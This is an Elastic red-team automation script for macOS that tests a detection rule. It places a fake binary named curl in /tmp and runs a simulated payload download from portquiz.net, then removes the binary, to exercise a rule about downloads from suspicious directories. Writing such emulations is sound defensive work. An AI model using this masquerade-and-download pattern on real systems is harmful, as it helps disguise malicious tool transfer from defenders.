# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one # or more contributor license agreements. Licensed under the Elastic License # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. from . import common from . import RtaMetadata metadata = RtaMetadata( uuid="bf7645b2-d0cf-428d-a158-b1479160e60c", platforms=["macos"], endpoint=[ { "rule_name": "Payload Downloaded by Process Running in Suspicious Directory", "rule_id": "8c42c8bd-c282-44ca-b308-92e4267b6244", } ], siem=[], techniques=["T1105"], ) @common.requires_os(*metadata.platforms) def main(): masquerade = "/tmp/curl" common.create_macos_masquerade(masquerade) # Execute command common.log("Launching fake curl commands to download payload") common.execute([masquerade, "childprocess", "curl", "-k", "http://portquiz.net/"], timeout=5, kill=True) # cleanup common.remove_file(masquerade) if __name__ == "__main__": exit(main())